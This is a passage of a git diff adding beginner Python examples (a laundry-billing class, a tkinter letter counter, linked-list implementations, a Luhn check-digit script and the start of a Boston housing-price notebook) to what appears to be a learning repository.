`email`: Alphanumeric (string), email address of the customer. + - `cloth_type`: String, type of cloth deposited (Cotton, Silk, Woolen, or Polyester). + - `branded`: Boolean (0 or 1), indicating whether the cloth is branded. + - `season`: String, season when the cloth is deposited (Summer or Winter). + +2. `customerDetails()`: Prints out the details of the customer, including name, contact number, email, cloth type, and whether the cloth is branded. + +3. `calculateCharge()`: Calculates the charge based on the type of cloth, branding, and season. + - Returns: + - Numeric, total charge for cleaning the cloth. + +4. `finalDetails()`: Calls `customerDetails()` and `calculateCharge()` methods within itself and prints the total charge and the expected day of return. + - Prints: + - Total charge in Rupees. + - Expected day of return (4 days if total charge > 200, otherwise 7 days). + +## Example Usage +```python +# Example usage: +name = input("Enter customer name: ") +contact = int(input("Enter contact number: ")) +email = input("Enter email address: ") +cloth_type = input("Enter cloth type (Cotton/Silk/Woolen/Polyester): ") +branded = bool(int(input("Is the cloth branded? (Enter 0 for No, 1 for Yes): "))) +season = input("Enter season (Summer/Winter): ") + +customer = LaundryService(name, contact, email, cloth_type, branded, season) +customer.finalDetails() +Usage Instructions +Create an instance of the LaundryService class by providing customer details as parameters to the constructor. +Use the finalDetails() method to print the customer details along with the calculated charge and expected day of return. + + +Contributors +(Rohit Raj)[https://github.com/MrCodYrohit] + + diff --git a/Laundary System/code.py b/Laundary System/code.py new file mode 100644 index 00000000000..96817e49f7b --- /dev/null +++ b/Laundary System/code.py @@ -0,0 +1,83 @@ +id = 1 + + +class LaundryService: + def __init__( + self, + Name_of_customer, + Contact_of_customer, + Email, + Type_of_cloth, + Branded, + Season, + id, + ): + self.Name_of_customer = Name_of_customer + self.Contact_of_customer = Contact_of_customer + self.Email = Email + self.Type_of_cloth = Type_of_cloth + self.Branded = Branded + self.Season = Season + self.id = id + + def customerDetails(self): + print("The Specific Details of customer:") + print("customer ID: ", self.id) + print("customer name:", self.Name_of_customer) + print("customer contact no. :", self.Contact_of_customer) + print("customer email:", self.Email) + print("type of cloth", self.Type_of_cloth) + if self.Branded == 1: + a = True + else: + a = False + print("Branded", a) + + def calculateCharge(self): + a = 0 + if self.Type_of_cloth == "Cotton": + a = 50.0 + elif self.Type_of_cloth == "Silk": + a = 30.0 + elif self.Type_of_cloth == "Woolen": + a = 90.0 + elif self.Type_of_cloth == "Polyester": + a = 20.0 + if self.Branded == 1: + a = 1.5 * (a) + else: + pass + if self.Season == "Winter": + a = 0.5 * a + else: + a = 2 * a + print(a) + return a + + def finalDetails(self): + self.customerDetails() + print("Final charge:", end="") + if self.calculateCharge() > 200: + print("to be return in 4 days") + else: + print("to be return in 7 days") + + +while True: + name = input("Enter the name: ") + contact = int(input("Enter the contact: ")) + email = input("Enter the email: ") + cloth = input("Enter the type of cloth: ") + brand = bool(input("Branded ? ")) + season = input("Enter the season: ") + obj = LaundryService(name, contact, email, cloth, brand, season, id) + obj.finalDetails() + id = id + 1 + z = input("Do you want to continue(Y/N):") + if z == "Y": + continue + elif z == "N": + print("Thanks for visiting!") + break + else: + print("Select valid option") diff --git a/Letter_Counter.py b/Letter_Counter.py new file mode 100644 index 00000000000..b900c72b4dc --- /dev/null +++ b/Letter_Counter.py @@ -0,0 +1,47 @@ +import tkinter as tk + +root = tk.Tk() +root.geometry("400x260+50+50") +root.title("Welcome to Letter Counter App") +message1 = tk.StringVar() +Letter1 = tk.StringVar() + + +def printt(): + message = message1.get() + letter = Letter1.get() + message = message.lower() + letter = letter.lower() + + # Get the count and display results. + letter_count = message.count(letter) + a = "your message has " + str(letter_count) + " " + letter + "'s in it." + labl = tk.Label(root, text=a, font=("arial", 15), fg="black").place(x=10, y=220) + + +lbl = tk.Label(root, text="Enter the Message--", font=("Ubuntu", 15), fg="black").place( + x=10, y=10 +) +lbl1 = tk.Label( + root, text="Enter the Letter you want to count--", font=("Ubuntu", 15), fg="black" +).place(x=10, y=80) +E1 = tk.Entry( + root, font=("arial", 15), textvariable=message1, bg="white", fg="black" +).place(x=10, y=40, height=40, width=340) +E2 = tk.Entry( + root, font=("arial", 15), textvariable=Letter1, bg="white", fg="black" +).place(x=10, y=120, height=40, width=340) +but = tk.Button( + root, + text="Check", + command=printt, + cursor="hand2", + font=("Times new roman", 30), + fg="white", + bg="black", +).place(x=10, y=170, height=40, width=380) +# print("In this app, I will count the number of times that a specific letter occurs in a message.") +# message = input("\nPlease enter a message: ") +# letter = input("Which letter would you like to count the occurrences of?: ") + +root.mainloop() diff --git a/LinkedLists all Types/circular_linked_list.py b/LinkedLists all Types/circular_linked_list.py new file mode 100644 index 00000000000..44e6aeee73c --- /dev/null +++ b/LinkedLists all Types/circular_linked_list.py @@ -0,0 +1,135 @@ +"""Author - Mugen https://github.com/Mugendesu""" + + +class Node: + def __init__(self, data, next=None): + self.data = data + self.next = next + + +class CircularLinkedList: + def __init__(self): + self.head = self.tail = None + self.length = 0 + + def insert_at_beginning(self, data): + node = Node(data, self.head) + if self.head is None: + self.head = self.tail = node + node.next = node + self.length += 1 + return + self.head = node + self.tail.next = node + self.length += 1 + + def insert_at_end(self, data): + node = Node(data, self.head) + if self.head is None: + self.head = self.tail = node + node.next = node + self.length += 1 + return + self.tail.next = node + self.tail = node + self.length += 1 + + def len(self): + return self.length + + def pop_at_beginning(self): + if self.head is None: + print("List is Empty!") + return + self.head = self.head.next + self.tail.next = self.head + self.length -= 1 + + def pop_at_end(self): + if self.head is None: + print("List is Empty!") + return + temp = self.head + while temp: + if temp.next is self.tail: + self.tail.next = None + self.tail = temp + temp.next = self.head + self.length -= 1 + return + temp = temp.next + + def insert_values(self, arr: list): + self.head = self.tail = None + self.length = 0 + for i in arr: + self.insert_at_end(i) + + def print(self): + if self.head is None: + print("The List is Empty!") + return + temp = self.head.next + print(f"{self.head.data} ->", end=" ") + while temp != self.head: + print(f"{temp.data} ->", end=" ") + temp = temp.next + print(f"{self.tail.next.data}") + + def insert_at(self, idx, data): + if idx == 0: + self.insert_at_beginning(data) + return + elif idx == self.length: + self.insert_at_end(data) + return + elif 0 > idx or idx > self.length: + raise Exception("Invalid Position") + return + pos = 0 + temp = self.head + while temp: + if pos == idx - 1: + node = Node(data, temp.next) + temp.next = node + self.length += 1 + return + pos += 1 + temp = temp.next + + def remove_at(self, idx): + if 0 > idx or idx >= self.length: + raise Exception("Invalid Position") + elif idx == 0: + self.pop_at_beginning() + return + elif idx == self.length - 1: + self.pop_at_end() + return + temp = self.head + pos = 0 + while temp: + if pos == idx - 1: + temp.next = temp.next.next + self.length -= 1 + return + pos += 1 + temp = temp.next + + +def main(): + ll = CircularLinkedList() + ll.insert_at_end(1) + ll.insert_at_end(4) + ll.insert_at_end(3) + ll.insert_at_beginning(2) + ll.insert_values([1, 2, 3, 4, 5, 6, 53, 3]) + # ll.pop_at_end() + ll.insert_at(8, 7) + # ll.remove_at(2) + ll.print() + print(f"{ll.len() = }") + + +if __name__ == "__main__": + main() diff --git a/LinkedLists all Types/doubly_linked_list.py b/LinkedLists all Types/doubly_linked_list.py new file mode 100644 index 00000000000..ed451dc58cd --- /dev/null +++ b/LinkedLists all Types/doubly_linked_list.py @@ -0,0 +1,261 @@ +"""Contains Most of the Doubly Linked List functions.\n +'variable_name' = doubly_linked_list.DoublyLinkedList() to use this an external module.\n +'variable_name'.insert_front('element') \t,'variable_name'.insert_back('element'),\n +'variable_name'.pop_front() are some of its functions.\n +To print all of its Functions use print('variable_name'.__dir__()).\n +Note:- 'variable_name' = doubly_linked_list.DoublyLinkedList() This line is Important before using any of the function. + +Author :- Mugen https://github.com/Mugendesu +""" + + +class Node: + def __init__(self, val=None, next=None, prev=None): + self.data = val + self.next = next + self.prev = prev + + +class DoublyLinkedList: + def __init__(self): + self.head = self.tail = None + self.length = 0 + + def insert_front(self, data): + node = Node(data, self.head) + if self.head == None: + self.tail = node + node.prev = self.head + self.head = node + self.length += 1 + + def insert_back(self, data): + node = Node(data, None, self.tail) + if self.head == None: + self.tail = self.head = node + self.length += 1 + else: + self.tail.next = node + self.tail = node + self.length += 1 + + def insert_values(self, data_values: list): + self.head = self.tail = None + self.length = 0 + for data in data_values: + self.insert_back(data) + + def pop_front(self): + if not self.head: + print("List is Empty!") + return + + self.head = self.head.next + self.head.prev = None + self.length -= 1 + + def pop_back(self): + if not self.head: + print("List is Empty!") + return + + temp = self.tail + self.tail = temp.prev + temp.prev = self.tail.next = None + self.length -= 1 + + def print(self): + if self.head is None: + print("Linked List is Empty!") + return + + temp = self.head + print("NULL <-", end=" ") + while temp: + if temp.next == None: + print(f"{temp.data} ->", end=" ") + break + print(f"{temp.data} <=>", end=" ") + temp = temp.next + print("NULL") + + def len(self): + return self.length # O(1) length calculation + # if self.head is None: + # return 0 + # count = 0 + # temp = self.head + # while temp: + # count += 1 + # temp = temp.next + # return count + + def remove_at(self, idx): + if idx < 0 or self.len() <= idx: + raise Exception("Invalid Position") + if idx == 0: + self.pop_front() + return + elif idx == self.length - 1: + self.pop_back() + return + temp = self.head + dist = 0 + while dist != idx - 1: + dist += 1 + temp = temp.next + temp.next = temp.next.next + temp.next.prev = temp.next.prev.prev + self.length -= 1 + + def insert_at(self, idx: int, data): + if idx < 0 or self.len() < idx: + raise Exception("Invalid Position") + if idx == 0: + self.insert_front(data) + return + elif idx == self.length: + self.insert_back(data) + return + temp = self.head + dist = 0 + while dist != idx - 1: + dist += 1 + temp = temp.next + node = Node(data, temp.next, temp) + temp.next = node + self.length += 1 + + def insert_after_value(self, idx_data, data): + if not self.head: # For Empty List case + print("List is Empty!") + return + + if self.head.data == idx_data: # To insert after the Head Element + self.insert_at(1, data) + return + temp = self.head + while temp: + if temp.data == idx_data: + node = Node(data, temp.next, temp) + temp.next = node + self.length += 1 + return + temp = temp.next + print("The Element is not in the List!") + + def remove_by_value(self, idx_data): + temp = self.head + if temp.data == idx_data: + self.pop_front() + return + elif self.tail.data == idx_data: + self.pop_back() + return + while temp: + if temp.data == idx_data: + temp.prev.next = temp.next + temp.next.prev = temp.prev + self.length -= 1 + return + if temp != None: + temp = temp.next + print("The Element is not the List!") + + def index(self, data): + """Returns the index of the Element""" + if not self.head: + print("List is Empty!") + return + idx = 0 + temp = self.head + while temp: + if temp.data == data: + return idx + temp = temp.next + idx += 1 + print("The Element is not in the List!") + + def search(self, idx): + """Returns the Element at the Given Index""" + if self.len() == 0 or idx >= self.len(): + raise Exception("Invalid Position") + return + temp = self.head + curr_idx = 0 + while temp: + if curr_idx == idx: + return temp.data + temp = temp.next + curr_idx += 1 + + def reverse(self): + if not self.head: + print("The List is Empty!") + return + prev = c_next = None + curr = self.head + while curr != None: + c_next = curr.next + curr.next = prev + prev = curr + curr = c_next + self.tail = self.head + self.head = prev + + def mid_element(self): + if not self.head: + print("List is Empty!") + return + slow = self.head.next + fast = self.head.next.next + while fast != None and fast.next != None: + slow = slow.next + fast = fast.next.next + return slow.data + + def __dir__(self): + funcs = [ + "insert_front", + "insert_back", + "pop_front", + "pop_back", + "print", + "len", + "length", + "remove_at", + "insert_after_value", + "index", + "search", + "reverse", + "mid_element", + "__dir__", + ] + return funcs + + +def main(): + ll: Node = DoublyLinkedList() + + ll.insert_front(1) + ll.insert_front(2) + ll.insert_front(3) + ll.insert_back(0) + ll.insert_values(["ZeroTwo", "Asuna", "Tsukasa", "Seras"]) + # ll.remove_at(3) + # ll.insert_at(4 , 'Raeliana') + # ll.pop_back() + ll.insert_after_value("Asuna", "MaoMao") + # print(ll.search(4)) + # ll.remove_by_value('Asuna') + # ll.reverse() + # print(ll.index('ZeroTwo')) + + ll.print() + # print(ll.mid_element()) + # print(ll.length) + # print(ll.__dir__()) + + +if __name__ == "__main__": + main() diff --git a/LinkedLists all Types/singly_linked_list.py b/LinkedLists all Types/singly_linked_list.py new file mode 100644 index 00000000000..f1242b29cf8 --- /dev/null +++ b/LinkedLists all Types/singly_linked_list.py @@ -0,0 +1,249 @@ +"""Contains Most of the Singly Linked List functions.\n +'variable_name' = singly_linked_list.LinkedList() to use this an external module.\n +'variable_name'.insert_front('element') \t,'variable_name'.insert_back('element'),\n +'variable_name'.pop_front() are some of its functions.\n +To print all of its Functions use print('variable_name'.__dir__()).\n +Note:- 'variable_name' = singly_linked_list.LinkedList() This line is Important before using any of the function. + +Author :- Mugen https://github.com/Mugendesu +""" + + +class Node: + def __init__(self, val=None, next=None): + self.data = val + self.next = next + + +class LinkedList: + def __init__(self): + self.head = self.tail = None + self.length = 0 + + def insert_front(self, data): + node = Node(data, self.head) + if self.head == None: + self.tail = node + self.head = node + self.length += 1 + + def insert_back(self, data): + node = Node(data) + if self.head == None: + self.tail = self.head = node + self.length += 1 + else: + self.tail.next = node + self.tail = node + self.length += 1 + + def insert_values(self, data_values: list): + self.head = self.tail = None + self.length = 0 + for data in data_values: + self.insert_back(data) + + def pop_front(self): + if not self.head: + print("List is Empty!") + return + + temp = self.head + self.head = self.head.next + temp.next = None + self.length -= 1 + + def pop_back(self): + if not self.head: + print("List is Empty!") + return + + temp = self.head + while temp.next != self.tail: + temp = temp.next + self.tail = temp + temp.next = None + self.length -= 1 + + def print(self): + if self.head is None: + print("Linked List is Empty!") + return + + temp = self.head + while temp: + print(f"{temp.data} ->", end=" ") + temp = temp.next + print("NULL") + + def len(self): + return self.length # O(1) length calculation + # if self.head is None: + # return 0 + # count = 0 + # temp = self.head + # while temp: + # count += 1 + # temp = temp.next + # return count + + def remove_at(self, idx): + if idx < 0 or self.len() <= idx: + raise Exception("Invalid Position") + if idx == 0: + self.head = self.head.next + self.length -= 1 + return + temp = self.head + dist = 0 + while dist != idx - 1: + dist += 1 + temp = temp.next + temp.next = temp.next.next + self.length -= 1 + + def insert_at(self, idx: int, data): + if idx < 0 or self.len() < idx: + raise Exception("Invalid Position") + if idx == 0: + self.insert_front(data) + return + temp = self.head + dist = 0 + while dist != idx - 1: + dist += 1 + temp = temp.next + node = Node(data, temp.next) + temp.next = node + self.length += 1 + + def insert_after_value(self, idx_data, data): + if not self.head: # For Empty List case + print("List is Empty!") + return + + if self.head.data == idx_data: # To insert after the Head Element + self.insert_at(1, data) + return + temp = self.head + while temp: + if temp.data == idx_data: + node = Node(data, temp.next) + temp.next = node + self.length += 1 + return + temp = temp.next + print("The Element is not in the List!") + + def remove_by_value(self, idx_data): + temp = self.head + if temp.data == idx_data: + self.head = self.head.next + self.length -= 1 + temp.next = None + return + while temp.next != None: + if temp.next.data == idx_data: + temp.next = temp.next.next + self.length -= 1 + return + + temp = temp.next + print("Element is not in the List!") + + def index(self, data): + """Returns the index of the Element""" + if not self.head: + print("List is Empty!") + return + idx = 0 + temp = self.head + while temp: + if temp.data == data: + return idx + temp = temp.next + idx += 1 + print("The Element is not in the List!") + + def search(self, idx): + """Returns the Element at the Given Index""" + if self.len() == 0 or idx >= self.len(): + raise Exception("Invalid Position") + return + temp = self.head + curr_idx = 0 + while temp: + if curr_idx == idx: + return temp.data + temp = temp.next + curr_idx += 1 + + def reverse(self): + if not self.head: + print("The List is Empty!") + return + prev = c_next = None + curr = self.head + while curr != None: + c_next = curr.next + curr.next = prev + prev = curr + curr = c_next + self.tail = self.head + self.head = prev + + def mid_element(self): + if not self.head: + print("List is Empty!") + return + slow = self.head.next + fast = self.head.next.next + while fast != None and fast.next != None: + slow = slow.next + fast = fast.next.next + return slow.data + + def __dir__(self): + funcs = [ + "insert_front", + "insert_back", + "pop_front", + "pop_back", + "print", + "len", + "length", + "remove_at", + "insert_after_value", + "index", + "search", + "reverse", + "mid_element", + "__dir__", + ] + return funcs + + +def main(): + ll: Node = LinkedList() + + # # ll.insert_front(1) + # # ll.insert_front(2) + # # ll.insert_front(3) + # # ll.insert_back(0) + # ll.insert_values(['ZeroTwo' , 'Asuna' , 'Tsukasa' , 'Seras' ]) + # # ll.remove_at(3) + # ll.insert_at(2 , 'Raeliana') + # # ll.pop_front() + # ll.insert_after_value('Raeliana' , 'MaoMao') + # # print(ll.search(5)) + # ll.remove_by_value('Tsukasa') + # ll.reverse() + + # ll.print() + # print(ll.mid_element()) + # print(ll.length) + print(ll.__dir__()) + + +if __name__ == "__main__": + main() diff --git a/List.py b/List.py new file mode 100644 index 00000000000..4f93052338c --- /dev/null +++ b/List.py @@ -0,0 +1,35 @@ +List = [] +# List is Muteable +# means value can be change +List.insert(0, 5) # insertion takes place at mentioned index +List.insert(1, 10) +List.insert(0, 6) +print(List) +List.remove(6) +List.append(9) # insertion takes place at last +List.append(1) +List.sort() # arranges element in ascending order +print(List) +List.pop() +List.reverse() +print(List) +""" +List.append(1) +print(List) +List.append(2) +print(List) +List.insert(1 , 3) +print(List) +""" + +list2 = [2, 3, 7, 5, 10, 17, 12, 4, 1, 13] +for i in list2: + if i % 2 == 0: + print(i) +""" +Expected Output: +2 +10 +12 +4 +""" diff --git a/Luhn_Algorithm.py b/Luhn_Algorithm.py new file mode 100644 index 00000000000..51eb03672aa --- /dev/null +++ b/Luhn_Algorithm.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python3 + +""" +Python Program using the Luhn Algorithm + +This program uses the Luhn Algorithm, named after its creator +Hans Peter Luhn, to calculate the check digit of a 10-digit +"payload" number, and output the final 11-digit number. + +To prove this program correctly calculates the check digit, +the input 7992739871 should return: + +Sum of all digits: 67 +Check digit: 3 +Full valid number (11 digits): 79927398713 + +11/15/2021 +David Costell (DontEatThemCookies on GitHub) +""" + +# Input +CC = input("Enter number to validate (e.g. 7992739871): ") +if len(CC) < 10 or len(CC) > 10: + input("Number must be 10 digits! ") + exit() + +# Use list comprehension to split the number into individual digits +split = [int(split) for split in str(CC)] + +# List of digits to be multiplied by 2 (to be doubled) +tobedoubled = [split[1], split[3], split[5], split[7], split[9]] +# List of remaining digits not to be multiplied +remaining = [split[0], split[2], split[4], split[6], split[8]] + +# Step 1 +# Double all values in the tobedoubled list +# Put the newly-doubled values in a new list +newdoubled = [] +for i in tobedoubled: + i = i * 2 + newdoubled.append(i) +tobedoubled = newdoubled + +# Check for any double-digit items in the tobedoubled list +# Splits all double-digit items into two single-digit items +newdoubled = [] +for i in tobedoubled: + if i > 9: + splitdigit = str(i) + for index in range(0, len(splitdigit), 1): + newdoubled.append(splitdigit[index : index + 1]) + tobedoubled.remove(i) +newdoubled = [int(i) for i in newdoubled] + +# Unify all lists into one (luhnsum) +luhnsum = [] +luhnsum.extend(tobedoubled) +luhnsum.extend(newdoubled) +luhnsum.extend(remaining) + +# Output +print("Final digit list:", luhnsum) +print("Sum of all digits:", sum(luhnsum)) +checkdigit = 10 - sum(luhnsum) % 10 +print("Check digit:", checkdigit) +finalcc = str(CC) + str(checkdigit) +print("Full valid number (11 digits):", finalcc) +input() diff --git a/ML House Prediction.ipynb b/ML House Prediction.ipynb new file mode 100644 index 00000000000..9f0fbbedaf6 --- /dev/null +++ b/ML House Prediction.ipynb @@ -0,0 +1,1717 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Housing Price Predictor" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [], + "source": [ + "import pandas as pd" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": {}, + "outputs": [], + "source": [ + "housing = pd.read_csv(\"data.csv\")" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
CRIMZNINDUSCHASNOXRMAGEDISRADTAXPTRATIOBLSTATMEDV
00.0063218.02.3100.5386.57565.24.0900129615.3396.904.9824.0
10.027310.07.0700.4696.42178.94.9671224217.8396.909.1421.6
20.027290.07.0700.4697.18561.14.9671224217.8392.834.0334.7
30.032370.02.1800.4586.99845.86.0622322218.7394.632.9433.4
40.069050.02.1800.4587.14754.26.0622322218.7396.905.3336.2
\n", + "
" + ], + "text/plain": [ + " CRIM ZN INDUS CHAS NOX RM AGE DIS RAD TAX PTRATIO \\\n", + "0 0.00632 18.0 2.31 0 0.538 6.575 65.2 4.0900 1 296 15.3 \n", + "1 0.02731 0.0 7.07 0 0.469 6.421 78.9 4.9671 2 242 17.8 \n", + "2 0.02729 0.0 7.07 0 0.469 7.185 61.1 4.9671 2 242 17.8 \n", + "3 0.03237 0.0 2.18 0 0.458 6.998 45.8 6.0622 3 222 18.7 \n", + "4 0.06905 0.0 2.18 0 0.458 7.147 54.2 6.0622 3 222 18.7 \n", + "\n", + " B LSTAT MEDV \n", + "0 396.90 4.98 24.0 \n", + "1 396.90 9.14 21.6 \n", + "2 392.83 4.03 34.7 \n", + "3 394.63 2.94 33.4 \n", + "4 396.90 5.33 36.2 " + ] + }, + "execution_count": 3, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "housing.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "\n", + "RangeIndex: 506 entries, 0 to 505\n", + "Data columns (total 14 columns):\n", + " # Column Non-Null Count Dtype \n", + "--- ------ -------------- ----- \n", + " 0 CRIM 506 non-null float64\n", + " 1 ZN 506 non-null float64\n", + " 2 INDUS 506 non-null float64\n", + " 3 CHAS 506 non-null int64 \n", + " 4 NOX 506 non-null float64\n", + " 5 RM 506 non-null float64\n", + " 6 AGE 506 non-null float64\n", + " 7 DIS 506 non-null float64\n", + " 8 RAD 506 non-null int64 \n", + " 9 TAX 506 non-null int64 \n", + " 10 PTRATIO 506 non-null float64\n", + " 11 B 506 non-null float64\n", + " 12 LSTAT 506 non-null float64\n", + " 13 MEDV 506 non-null float64\n", + "dtypes: float64(11), int64(3)\n", + "memory usage: 55.4 KB\n" + ] + } + ], + "source": [ + "housing.info()" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
CRIMZNINDUSCHASNOXRMAGEDISRADTAXPTRATIOBLSTATMEDV
count506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000506.000000
mean3.61352411.36363611.1367790.0691700.5546956.28463468.5749013.7950439.549407408.23715418.455534356.67403212.65306322.532806
std8.60154523.3224536.8603530.2539940.1158780.70261728.1488612.1057108.707259168.5371162.16494691.2948647.1410629.197104
min0.0063200.0000000.4600000.0000000.3850003.5610002.9000001.1296001.000000187.00000012.6000000.3200001.7300005.000000
25%0.0820450.0000005.1900000.0000000.4490005.88550045.0250002.1001754.000000279.00000017.400000375.3775006.95000017.025000
50%0.2565100.0000009.6900000.0000000.5380006.20850077.5000003.2074505.000000330.00000019.050000391.44000011.36000021.200000
75%3.67708212.50000018.1000000.0000000.6240006.62350094.0750005.18842524.000000666.00000020.200000396.22500016.95500025.000000
max88.976200100.00000027.7400001.0000000.8710008.780000100.00000012.12650024.000000711.00000022.000000396.90000037.97000050.000000
\n", + "
" + ], + "text/plain": [ + " CRIM ZN INDUS CHAS NOX RM \\\n", + "count 506.000000 506.000000 506.000000 506.000000 506.000000 506.000000 \n", + "mean 3.613524 11.363636 11.136779 0.069170 0.554695 6.284634 \n", + "std 8.601545 23.322453 6.860353 0.253994 0.115878 0.702617 \n", + "min 0.006320 0.000000 0.460000 0.000000 0.385000 3.561000 \n", + "25% 0.082045 0.000000 5.190000 0.000000 0.449000 5.885500 \n", + "50% 0.256510 0.000000 9.690000 0.000000 0.538000 6.208500 \n", + "75% 3.677082 12.500000 18.100000 0.000000 0.624000 6.623500 \n", + "max 88.976200 100.000000 27.740000 1.000000 0.871000 8.780000 \n", + "\n", + " AGE DIS RAD TAX PTRATIO B \\\n", + "count 506.000000 506.000000 506.000000 506.000000 506.000000 506.000000 \n", + "mean 68.574901 3.795043 9.549407 408.237154 18.455534 356.674032 \n", + "std 28.148861 2.105710 8.707259 168.537116 2.164946 91.294864 \n", + "min 2.900000 1.129600 1.000000 187.000000 12.600000 0.320000 \n", + "25% 45.025000 2.100175 4.000000 279.000000 17.400000 375.377500 \n", + "50% 77.500000 3.207450 5.000000 330.000000 19.050000 391.440000 \n", + "75% 94.075000 5.188425 24.000000 666.000000 20.200000 396.225000 \n", + "max 100.000000 12.126500 24.000000 711.000000 22.000000 396.900000 \n", + "\n", + " LSTAT MEDV \n", + "count 506.000000 506.000000 \n", + "mean 12.653063 22.532806 \n", + "std 7.141062 9.197104 \n", + "min 1.730000 5.000000 \n", + "25% 6.950000 17.025000 \n", + "50% 11.360000 21.200000 \n", + "75% 16.955000 25.000000 \n", + "max 37.970000 50.000000 " + ] + }, + "execution_count": 5, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "housing.describe()" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [], + "source": [ + "%matplotlib inline" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": {}, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "array([[,\n", + " ,\n", + " ,\n", + " ],\n", + " [,\n", + " ,\n", + " ,\n", + " ],\n", + " [,\n", + " ,\n", + " ,\n", + " ],\n", + " [,\n", + " , ,\n", + " ]], dtype=object)" + ] + }, + "execution_count": 8, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": 